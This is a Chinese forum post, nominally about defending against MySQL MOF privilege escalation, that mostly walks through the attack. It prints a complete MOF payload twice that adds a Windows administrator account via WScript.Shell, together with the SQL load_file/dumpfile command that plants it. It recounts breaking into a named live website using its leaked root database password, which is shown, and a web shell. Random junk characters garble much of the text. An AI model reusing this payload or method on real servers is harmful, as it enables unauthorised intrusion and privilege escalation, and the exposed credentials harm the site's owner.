Mysql mof扩展漏洞防范方法
2 k' d9 H0 Y' K. m% F8 S- ]
. T- O0 Q" g1 [! a# f网上公开的一些利用代码:; O$ q. i1 w: M
. @. ]* _ T/ b#pragma namespace(“\\\\.\\root\\subscription”)
* ]1 t: j% w$ S) ^6 X* o* ~9 @) e2 ~: t% B- ]) z+ J
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- A4 p5 n8 M9 A# C
" U0 ?" P* W* r$ s( T5 E8 J
! q1 t4 z4 O& k- o" r& P( I5 o; Q/ C% o- c" J
/ ]9 y$ G2 D1 [5 f! W$ A
) v$ `" ]- b7 H- p* ?5 U# l
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; g' V5 C1 S$ m! ^; z1 F* ?) T# R
从上面代码来看得出解决办法: U" [2 s" M: h6 K! K5 K
& U R0 R! y1 {) F9 U# N& h1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数5 b# h7 I7 w' }0 B; _. N) M. k, Q
! s3 G9 e" B9 s9 y3 k( W2、禁止使用”WScript.Shel”组件
1 ]7 s, z- c" d% Y, u+ h+ M* l5 d% O! ?* m
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# E7 `" X% M3 O4 U$ ^, _7 Z5 Q! V6 R& b* }2 {; N7 P
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
* }9 _) y( X) q& R- e5 v" {. Q' @; i/ E+ k' J
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
* [0 s9 Q) A. \) U) W' o; x! n; j
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( t; _( Y a7 T2 l; K, L8 h
* R1 k- C: [; _$ r看懂了后就开始练手吧
9 l3 q( B- t4 J4 p& I3 {
- }. Q$ Y3 |0 {0 khttp://www.webbmw.com/config/config_ucenter.php 一句话 a
, M* k9 [" [: M" M( V/ J+ K
4 G) t* a" H) g! u3 }$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
; T+ M, D2 V/ c# G5 H/ A
1 o, s$ k% f3 u3 c于是直接用菜刀开搞
% y# R2 r& p) u$ @* ~- X) N Z$ @( K+ T- v
上马先1 Z9 m8 B h5 t2 s
. ~2 K H% e! G; M" j
既然有了那些账号 之类的 于是我们就执行吧…….+ V7 W& l6 R7 M2 x3 |- @
/ Y/ Y3 T& r6 v
小小的说下) r/ w8 i* T) O7 N
) H D& F7 O' Z在这里第1次执行未成功 原因未知
% D, b" l3 c' }6 S3 J
& H4 }& v. j. w/ ?9 H4 W我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
+ V' k* @& g& I1 q0 t) S9 Y7 ?
, v7 C/ ?& A5 D6 l) S- W#pragma namespace(“\\\\.\\root\\subscription”)
Q/ X$ l, `1 u% t% U5 @* P( O5 O5 y7 s5 V! j( g2 Y+ W x9 @
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
9 p7 I" s- {: [. \; b. M3 Y# E7 A
我是将文件放到C:\WINDOWS\temp\1.mof4 h4 Z6 r# o( x5 [
+ G' W) Y; Z; Y# p" z
所以我们就改下执行的代码
! A1 C* h' }( p6 U6 p: o) @- s: D
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;6 p- c2 N; F* P2 q$ X& O& w+ [) H
0 {; B3 W% V* a/ d) h$ i. m
+ O5 B' w% F. |' Y" G M7 N) ^0 n
0 F: @! S4 E$ f3 {. y" f' ]但是 你会发现账号还是没有躺在那里。。
1 a' j, K/ V; v6 O' \6 p9 c6 M0 c" L4 i/ t9 ?& r
于是我就感觉蛋疼$ L2 q/ o1 s0 E4 F1 F2 L7 e- U
4 q8 d# i. |9 T, X9 I& G* L! r" p- n
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
1 q7 Z6 F7 {: \1 d! j/ c# G3 ?$ i$ p3 j: |# t- L" g) s5 E
& B& Z Y5 d6 ?! U$ f( w# h7 _% s# F' H/ X' J- X
但是其他库均不成功…$ y# x+ f7 ]: x/ E0 @7 m( m
3 h+ @- D( G2 E# p- B- E我就很费解呀 到底为什么不成功求大牛解答…
$ h3 c* S# Z% t: `1 _" B9 H/ p8 o4 m$ H3 k! ?; N
. a6 H) }" X$ `- M! I; f: o
! L' W+ e- a3 c; A T |